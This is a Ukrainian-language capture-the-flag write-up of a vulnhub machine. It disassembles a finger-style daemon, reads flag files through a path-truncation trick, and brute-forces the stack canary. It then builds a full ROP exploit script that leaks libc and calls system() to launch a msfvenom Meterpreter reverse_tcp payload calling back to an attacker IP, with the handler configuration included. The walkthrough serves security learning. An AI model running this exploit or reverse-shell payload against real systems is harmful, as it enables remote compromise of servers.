query_user(int fd)

.text:0000000000400B86 ; __int64 __fastcall query_user(int fd)
.text:0000000000400B86 public query_user
.text:0000000000400B86 query_user proc near ; CODE XREF: main+10D
.text:0000000000400B86
.text:0000000000400B86 fd = dword ptr -4E4h
.text:0000000000400B86 file_cntx = qword ptr -4D8h
.text:0000000000400B86 s = byte ptr -4D0h
.text:0000000000400B86 var_4B0 = byte ptr -4B0h
.text:0000000000400B86 file = byte ptr -460h
.text:0000000000400B86 buf = byte ptr -3F0h
.text:0000000000400B86 var_8 = qword ptr -8
.text:0000000000400B86
.text:0000000000400B86 push rbp
.text:0000000000400B87 mov rbp, rsp
.text:0000000000400B8A sub rsp, 4F0h
.text:0000000000400B91 mov [rbp+fd], edi
.text:0000000000400B97 mov rax, fs:28h
.text:0000000000400BA0 mov [rbp+var_8], rax
.text:0000000000400BA4 xor eax, eax
.text:0000000000400BA6 mov dword ptr [rbp+file_cntx], 0
.text:0000000000400BB0 lea rax, [rbp+s]
.text:0000000000400BB7 mov edx, 14h ; n
.text:0000000000400BBC mov esi, 0 ; c
.text:0000000000400BC1 mov rdi, rax ; s
.text:0000000000400BC4 call _memset
.text:0000000000400BC9 mov edx, [rbp+fd]
.text:0000000000400BCF lea rax, [rbp+s]
.text:0000000000400BD6 mov esi, offset format ; "Socket fd: %d\n"
.text:0000000000400BDB mov rdi, rax ; s
.text:0000000000400BDE mov eax, 0
.text:0000000000400BE3 call _sprintf
.text:0000000000400BE8 lea rax, [rbp+s]
.text:0000000000400BEF mov rdi, rax ; s
.text:0000000000400BF2 call _strlen
.text:0000000000400BF7 mov rdx, rax ; n
.text:0000000000400BFA lea rcx, [rbp+s]
.text:0000000000400C01 mov eax, [rbp+fd]
.text:0000000000400C07 mov rsi, rcx ; buf
.text:0000000000400C0A mov edi, eax ; fd
.text:0000000000400C0C call _write
.text:0000000000400C11 lea rax, [rbp+buf]
.text:0000000000400C18 mov edx, 3E8h ; n
.text:0000000000400C1D mov esi, 0 ; c
.text:0000000000400C22 mov rdi, rax ; s
.text:0000000000400C25 call _memset
.text:0000000000400C2A mov edi, offset buf ; "User to query: "
.text:0000000000400C2F mov eax, 0
.text:0000000000400C34 call _printf
.text:0000000000400C39 mov eax, [rbp+fd]
.text:0000000000400C3F mov edx, 0Fh ; n
.text:0000000000400C44 mov esi, offset buf ; "User to query: "
.text:0000000000400C49 mov edi, eax ; fd
.text:0000000000400C4B call _write
.text:0000000000400C50 lea rcx, [rbp+buf]
.text:0000000000400C57 mov eax, [rbp+fd]
.text:0000000000400C5D mov edx, 7D0h ; nbytes
.text:0000000000400C62 mov rsi, rcx ; buf
.text:0000000000400C65 mov edi, eax ; fd
.text:0000000000400C67 call _read
.text:0000000000400C6C lea rax, [rbp+buf]
.text:0000000000400C73 mov esi, offset reject ; "\n"
.text:0000000000400C78 mov rdi, rax ; s
.text:0000000000400C7B call _strcspn
.text:0000000000400C80 mov [rbp+rax+buf], 0
.text:0000000000400C88 mov eax, [rbp+fd]
.text:0000000000400C8E mov edx, 0Ch ; n
.text:0000000000400C93 mov esi, offset aChecking___ ; "Checking...\n"
.text:0000000000400C98 mov edi, eax ; fd
.text:0000000000400C9A call _write
.text:0000000000400C9F lea rax, [rbp+file]
.text:0000000000400CA6 mov edx, 64h ; n
.text:0000000000400CAB mov esi, 0 ; c
.text:0000000000400CB0 mov rdi, rax ; s
.text:0000000000400CB3 call _memset
.text:0000000000400CB8 lea rax, [rbp+buf]
.text:0000000000400CBF mov edx, 4 ; n
.text:0000000000400CC4 mov esi, offset s2 ; "root"
.text:0000000000400CC9 mov rdi, rax ; s1
.text:0000000000400CCC call _strncmp
.text:0000000000400CD1 test eax, eax
.text:0000000000400CD3 jnz short loc_400CF2
.text:0000000000400CD5 lea rax, [rbp+file]
.text:0000000000400CDC mov rcx, 702E2F746F6F722Fh
.text:0000000000400CE6 mov [rax], rcx
.text:0000000000400CE9 mov dword ptr [rax+8], 6E616Ch
.text:0000000000400CF0 jmp short loc_400D1A
.text:0000000000400CF2 ; ---------------------------------------------------------------------------
.text:0000000000400CF2
.text:0000000000400CF2 loc_400CF2: ; CODE XREF: query_user+14D
.text:0000000000400CF2 lea rdx, [rbp+buf]
.text:0000000000400CF9 lea rax, [rbp+file]
.text:0000000000400D00 mov rcx, rdx
.text:0000000000400D03 mov edx, offset aHomeS_plan ; "/home/%s/.plan"
.text:0000000000400D08 mov esi, 30 ; maxlen
.text:0000000000400D0D mov rdi, rax ; s
.text:0000000000400D10 mov eax, 0
.text:0000000000400D15 call _snprintf
.text:0000000000400D1A
.text:0000000000400D1A loc_400D1A: ; CODE XREF: query_user+16A
.text:0000000000400D1A lea rax, [rbp+file]
.text:0000000000400D21 mov rsi, rax
.text:0000000000400D24 mov edi, offset aPlan_locS ; "plan_loc [%s]\n"
.text:0000000000400D29 mov eax, 0
.text:0000000000400D2E call _printf
.text:0000000000400D33 lea rax, [rbp+file]
.text:0000000000400D3A mov esi, 0 ; oflag
.text:0000000000400D3F mov rdi, rax ; file
.text:0000000000400D42 mov eax, 0
.text:0000000000400D47 call _open
.text:0000000000400D4C mov dword ptr [rbp+file_cntx], eax
.text:0000000000400D52 cmp dword ptr [rbp+file_cntx], 0FFFFFFFFh
.text:0000000000400D59 jnz short loc_400D77
.text:0000000000400D5B mov eax, [rbp+fd]
.text:0000000000400D61 mov edx, 25h ; n
.text:0000000000400D66 mov esi, offset aDonTKnowAnythi ; "don't know anything about this user.\n"
.text:0000000000400D6B mov edi, eax ; fd
.text:0000000000400D6D call _write
.text:0000000000400D72 jmp loc_400DF8
.text:0000000000400D77 ; ---------------------------------------------------------------------------
.text:0000000000400D77
.text:0000000000400D77 loc_400D77: ; CODE XREF: query_user+1D3
.text:0000000000400D77 lea rax, [rbp+var_4B0]
.text:0000000000400D7E mov edx, 50h ; n
.text:0000000000400D83 mov esi, 0 ; c
.text:0000000000400D88 mov rdi, rax ; s
.text:0000000000400D8B call _memset
.text:0000000000400D90 lea rcx, [rbp+var_4B0]
.text:0000000000400D97 mov eax, dword ptr [rbp+file_cntx]
.text:0000000000400D9D mov edx, 50h ; nbytes
.text:0000000000400DA2 mov rsi, rcx ; buf
.text:0000000000400DA5 mov edi, eax ; fd
.text:0000000000400DA7 call _read
.text:0000000000400DAC mov dword ptr [rbp+file_cntx+4], eax
.text:0000000000400DB2 lea rax, [rbp+var_4B0]
.text:0000000000400DB9 mov rsi, rax
.text:0000000000400DBC mov edi, offset aPlanFileS ; "plan file [%s]\n"
.text:0000000000400DC1 mov eax, 0
.text:0000000000400DC6 call _printf
.text:0000000000400DCB mov eax, dword ptr [rbp+file_cntx+4]
.text:0000000000400DD1 movsxd rdx, eax ; n
.text:0000000000400DD4 lea rcx, [rbp+var_4B0]
.text:0000000000400DDB mov eax, [rbp+fd]
.text:0000000000400DE1 mov rsi, rcx ; buf
.text:0000000000400DE4 mov edi, eax ; fd
.text:0000000000400DE6 call _write
.text:0000000000400DEB mov eax, dword ptr [rbp+file_cntx]
.text:0000000000400DF1 mov edi, eax ; fd
.text:0000000000400DF3 call _close
.text:0000000000400DF8
.text:0000000000400DF8 loc_400DF8: ; CODE XREF: query_user+1EC
.text:0000000000400DF8 mov eax, 0
.text:0000000000400DFD mov rcx, [rbp+var_8]
.text:0000000000400E01 xor rcx, fs:28h
.text:0000000000400E0A jz short locret_400E11
.text:0000000000400E0C call ___stack_chk_fail
.text:0000000000400E11 ; ---------------------------------------------------------------------------
.text:0000000000400E11
.text:0000000000400E11 locret_400E11: ; CODE XREF: query_user+284
.text:0000000000400E11 leave
.text:0000000000400E12 retn
.text:0000000000400E12 query_user endp


Тут найбільш цікавою буде функція snprintf, яка формує шлях до відкриття файлу, при уважному вивченні видно, що кінцевий шлях обрізається до 30-1 символів. Отже, теоретично, ми знову можемо читати будь-який файл:

bob@baffle:~/binz$ python -c 'print("/////// charlie/flag.txt")' | nc localhost 7979

І отримуємо черговий прапор:
Socket fd: 10
User to query: Checking…
FLAG{i_haz_sriracha_ice_cream}
---
Flag 5 (vulnhub)
Можливо, таким же методом вийде витягнути прапор і у іншого користувача:

bob@baffle:~$ python -c 'print("/////// vulnhub/flag.txt")' |nc localhost 7979

Socket fd: 6
User to query: Checking…
Sorry Mario. The flag is in another castle.
---
Не вийшло. Продовжимо пошуки. Як і в попередньому випадку, файл має таку ж захист:



Однак, є і деякі відмінності. Після тривалих пошуків, методів обходу «канарок», можна наткнутися на 2 статті: цю і цю. Прочитавши їх, розуміємо, що це якраз наш випадок. При відправленні різних значень цього демону, під час налагодження, можна помітити одну особливість. У разі, якщо введена рядок не пошкоджує «канарку», висновок виглядає так:

На стороні клієнта
Socket fd: 407
User to query: AA
Checking…
Don't know anything about this user.
---

На стороні сервера
+ connection accepted
+ back in parent
User to query: plan_loc [/home/AA/.plan]

Однак коли відбувається пошкодження «канарки», висновок змінюється на наступний:

На стороні клієнта
Socket fd: 408
User to query: AAA.....AAAA
Checking…
Don't know anything about this user.

На стороні сервера
+ connection accepted
+ back in parent
User to query: plan_loc [/home/AAAAAAAAAAAAAAAAAAAAAAA]
*** stack smashing detected ***: ./ctfingerd terminated

Як видно, у другому випадку клієнту не повертаються символи "---". Це можна використовувати для брутфорса канарки. Перебирати юудем використовуючи Python, для цього підготуємо кілька функцій.

Для початку потрібна функція, яка власне і буде після відправки даних, перевіряти крашнулось додаток:

#!/usr/bin/python2
import socket
from time import sleep
from struct import pack, unpack

port = 7979
host = 'localhost'

def isCrashed(data):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(data)
sleep(0.2)
req = s.recv(1024)
s.shutdown(1)
s.close()
if '---' not in req:
return True
return False

Знадобиться функція, для пошуку необхідного зсуву, його можна звичайно і константою поставити, але так більше крутодинамічно:

def findCanaryOffset():
min_offset = 0
max_offset = 2000
cur_offset = getCurrentOffset(min_offset, max_offset)
while (max_offset - min_offset) > 1:
print('[*] Max Offset: %s Min Offset: %s' % (max_offset, min_offset))
send_data = 'A' * cur_offset
if isCrashed(send_data):
max_offset = cur_offset
else:
min_offset = cur_offset
cur_offset = getCurrentOffset(min_offset, max_offset)
return min_offset

Тут ми щоб не перебирати в лоб:

  • беремо 2 крайніх значень, при яких у нас сервіс крашится і немає;
  • вираховуємо між ними середнє і відправляємо його;
  • далі все просто, крашнулось — значить багато, якщо немає — мало
Для безпосередньо підбору значення канарки скористаємося наступною невеликий функцією:

def findCanary(payload):
canary = "
for i in range(8):
for byte in range(256):
char = chr(byte)
data = payload + canary + char
if not isCrashed(data):
canary += char
print('[+] Found Canary byte %d: %s' % (i, char.encode('hex')))
break
print('[+] Canary found: %s' % (canary.encode('hex')))
return canary

Яка, попутно виводить проміжні знайдені значення.

Пошук канарки є, тепер найцікавіше. Для обходу всієї решти захисту, яка тут використовується (NX + ASLR), нам знадобляться ROP гаджети, а так само адреси необхідних функцій, як в самому бінарники, так і в використовуваної їм бібліотеці libc.so. Вона тут власне потрібна в основному для розрахунку вірної адреси функції system ctfingerd ця функція відсутня.

Щоб розрахувати адреса нам потрібно:

  1. адресу з таблиці GOT, будь-якої функції, яка присутня в ctfingerd
  2. адреса, за якою ця функція розташована в використовуваної libc.so
Для прикладу будемо використовувати функцію memset. Отримуємо її адресу в libc, яку ми попередньо завантажили собі по ssh:

$ readelf -s libc.so.6 | grep memset@
838: 0000000000085620 247 FUNC GLOBAL DEFAULT 12 memset@@GLIBC_2.2.5

Та її адресу в GOT:

$ objdump -R ctfingerd | grep memset
00000000006014e0 R_X86_64_JUMP_SLOT memset

Далі власне та сама «елітна» функція, яку ми будемо використовувати:

$ readelf -s libc.so.6 | grep system
1337: 0000000000041490 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5

Нам так само знадобляться функції read@plt write@plt з файлу ctfingerd:

gdb-peda$ p write
$1 = {<text variable, no debug info>} 0x400920 <write@plt>
gdb-peda$ p read
$2 = {<text variable, no debug info>} 0x4009b0 <read@plt>

З функціями закінчили, переходимо до пошуку ROP гаджетів, тут можна подивитися, які саме регістри використовуються системних функціях, ми будемо шукати в peda, яку не раз вже використовували в попередніх райтапах:

$ gdb -ex "start" -q ctfingerd
gdb-peda$ ropsearch 'pop rsi'
Searching for ROP gadget: 'pop rsi' in: binary ranges
0x00401011 : (b'c 5e415fc3') pop rsi; pop r15; ret
gdb-peda$ ropsearch 'pop rdi'
Searching for ROP gadget: 'pop rdi' in: binary ranges
0x00401013 : (b'c 5fc3') pop rdi; ret

І ще одне, нам потрібна адреса, куди писати наш шелл-код в пам'яті, подивимося який діапазон доступний для запису:

gdb-peda$ vmmap 
Start End Perm Name
0x00400000 0x00402000 r-xp /home/remnux/ctfingerd
0x00601000 0x00602000 rw-p /home/remnux/ctfingerd

Все готово для формування експлоїта, який буде складатися з 2 частин. У першій, отримуємо дескриптор сокета, і вираховуємо адреси libc:

# Get Socket FD
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
req = s.recv(1024)
socketFD = parseSockFD(req)

# Make payload
payload = canaryOffsetBuf # trash some
payload += canary # canary
payload += pack("<Q", 0x00) # Owerwrite rbp
payload += pack('<Q', pop_rdi) # pop rdi, ret
payload += pack('<Q', socketFD) # STDOUT to socket
payload += pack("<Q", pop_rsi) # pop rsi
payload += pack('<Q', memsetGOT) # Address read in GOT
payload += pack("<Q", 0x00) # Owerwrite r15
payload += pack("<Q", writePltOffset) # return to write@plt

# Send First Payload
s.send(payload)
sleep(0.1)
req = s.recv(1024)
print('[+] Response from server: %s ' % req)
s.shutdown(1)
s.close()

# Calculate addresses
req = req.split('\n')
memsetAddr = unpack("<Q", req[2][:8])
print('[+] Real address for memset(): %s' % hex(memsetAddr[0]))
libcBase = (memsetAddr[0] - libcMemsetOffset)
print('[+] Real address for libc: %s' % hex(libcBase))
systemAddr = (libcBase + libcSystemOffset)
print('[+] Real address for sysem(): %s' % hex(systemAddr))

В сокет ми будемо перенаправляти висновок. Друга частина буде безпосередньо записувати наш шелл в пам'ять і викликати system:

socketFD += 1

# Save shellcode to memory writable
payload = canaryOffsetBuf # trash some
payload += canary # canary
payload += pack("<Q", 0x00) # Owerwrite rbp
payload += pack("<Q", pop_rdi) # pop rdi
payload += pack("<Q", socketFD) # socket to read from
payload += pack("<Q", pop_rsi) # pop rsi
payload += pack("<Q", free_space) # location to write to
payload += pack("<Q", socketFD) # for junk r15
payload += pack("<Q", readPltOffset) # return to read()
# Call system()
payload += pack("<Q", pop_rdi)
payload += pack("<Q", free_space)
payload += pack("<Q", systemAddr)

# Send Second Payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)
sleep(0.1)
print('[+] Run reverse shell')
cmd = '/tmp/x64mettle\x00'
s.send(cmd)

Об'єднавши всі разом і внісши деякі корективи отримуємо готовий експлоїт:

exploit7979.py
#!/usr/bin/python2
import socket
from time import sleep
from struct import pack, unpack

port = 7979
host = 'localhost'


def getCurrentOffset(min_offset, max_offset):
return min_offset + (max_offset - min_offset) // 2


def isCrashed(data):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(data)
sleep(0.2)
req = s.recv(1024)
s.shutdown(1)
s.close()
if '---' not in req:
return True
return False


def findCanaryOffset():
min_offset = 0
max_offset = 2000
cur_offset = getCurrentOffset(min_offset, max_offset)
while (max_offset - min_offset) > 1:
print('[*] Max Offset: %s Min Offset: %s' % (max_offset, min_offset))
send_data = 'A' * cur_offset
if isCrashed(send_data):
max_offset = cur_offset
else:
min_offset = cur_offset
cur_offset = getCurrentOffset(min_offset, max_offset)
return min_offset


def findCanary(payload):
canary = "
for i in range(8):
for byte in range(256):
char = chr(byte)
data = payload + canary + char
if not isCrashed(data):
canary += char
print('[+] Found Canary byte %d: %s' % (i, char.encode('hex')))
break
print('[+] Canary found: %s' % (canary.encode('hex')))
return canary


def parseSockFD(resp):
# resp = 'Socket fd: 7\nUser to query:' =>
# ['Socket fd', '7\nUser to query', ' '] =>
# [' 7', 'User to query'] => '7'
fd = resp.split(':')[1].split('\n')[0].strip()
return int(fd)


# Detect Canary
min_off = findCanaryOffset()
canaryOffsetBuf = 'A' * min_off
canary = findCanary(canaryOffsetBuf)

# Offsets
libcSystemOffset = 0x41490
writePltOffset = 0x400920
pop_rsi = 0x401011
pop_rdi = 0x401013
free_space = 0x6012c0
readPltOffset = 0x4009b0
memsetGOT = 0x6014e0
libcMemsetOffset = 0x85620

# Get Socket FD
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
req = s.recv(1024)
socketFD = parseSockFD(req)

# Make payload
payload = canaryOffsetBuf # trash some
payload += canary # canary
payload += pack("<Q", 0x00) # Owerwrite rbp
payload += pack('<Q', pop_rdi) # pop rdi, ret
payload += pack('<Q', socketFD) # STDOUT to socket
payload += pack("<Q", pop_rsi) # pop rsi
payload += pack('<Q', memsetGOT) # Address read in GOT
payload += pack("<Q", 0x00) # Owerwrite r15
payload += pack("<Q", writePltOffset) # return to write@plt

# Send First Payload
s.send(payload)
sleep(0.1)
req = s.recv(1024)
print('[+] Response from server: %s ' % req)
s.shutdown(1)
s.close()

# Calculate addresses
req = req.split('\n')
memsetAddr = unpack("<Q", req[2][:8])
print('[+] Real address for memset(): %s' % hex(memsetAddr[0]))
libcBase = (memsetAddr[0] - libcMemsetOffset)
print('[+] Real address for libc: %s' % hex(libcBase))
systemAddr = (libcBase + libcSystemOffset)
print('[+] Real address for sysem(): %s' % hex(systemAddr))

socketFD += 1

# Save shellcode to memory writable
payload = canaryOffsetBuf # trash some
payload += canary # canary
payload += pack("<Q", 0x00) # Owerwrite rbp
payload += pack("<Q", pop_rdi) # pop rdi
payload += pack("<Q", socketFD) # socket to read from
payload += pack("<Q", pop_rsi) # pop rsi
payload += pack("<Q", free_space) # location to write to
payload += pack("<Q", socketFD) # for junk r15
payload += pack("<Q", readPltOffset) # return to read()
# Call system()
payload += pack("<Q", pop_rdi)
payload += pack("<Q", free_space)
payload += pack("<Q", systemAddr)

# Send Second Payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)
sleep(0.1)
print('[+] Run reverse shell')
cmd = '/tmp/x64mettle\x00'
s.send(cmd)


Тепер саме час скористатися msfvenom, і створити бінарники, який ми і будемо запускати:

$ sudo msfvenom -p linux/x64/mettle/reverse_tcp lhost=192.168.1.124 lport=4444 -f elf > ./x64mettle

А також конфіг для msfconsole:

$ cat meterpreter.rc 
use exploit/multi/handler
set payload linux/x64/mettle/reverse_tcp
set lhost 192.168.1.124
set lport 4444
run

Заливаємо по ssh всі необхідні файли на атакується хост:

scp x64mettle bob@192.168.1.190:/tmp/
scp exploit7979.py bob@192.168.1.190:/tmp/
ssh bob@192.168.1.190 "chmod 777 /tmp/x64mettle"
ssh bob@192.168.1.190 "chmod +x /tmp/exploit7979.py"

Запускаємо у себе Metasploit, запускаємо на атакується хості наш експлоїт і насолоджуємося висновком:

bob@baffle:/tmp$ python exploit7979.py
[*] Max Offset: 2000 Min Offset: 0
[*] Max Offset: 2000 Min Offset: 1000
[*] Max Offset: 1500 Min Offset: 1000
[*] Max Offset: 1250 Min Offset: 1000
[*] Max Offset: 1125 Min Offset: 1000
[*] Max Offset: 1062 Min Offset: 1000
[*] Max Offset: 1031 Min Offset: 1000
[*] Max Offset: 1015 Min Offset: 1000
[*] Max Offset: 1007 Min Offset: 1000
[*] Max Offset: 1003 Min Offset: 1000
[+] Found Canary byte 0: 00
[+] Found Canary byte 1: 17
[+] Found Canary byte 2: 40
[+] Found Canary byte 3: 48
[+] Found Canary byte 4: 6b
[+] Found Canary byte 5: 82
[+] Found Canary byte 6: 0e
[+] Found Canary byte 7: 73
[+] Canary found: 001740486b820e73
[+] Response from server: User to query: Checking...
Don't know anything about this user.
6 � � @ "!� �� � P� � 
[+] Real address for memset(): 0x7f109f173620
[+] Real address for libc: 0x7f109f0ee000
[+] Real address for sysem(): 0x7f109f12f490
[+] Run reverse shell

І в кінцевому рахунку отримуємо консоль Meterpreter'а:



Швидко відшукуємо прапор, привітання і пташку.
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.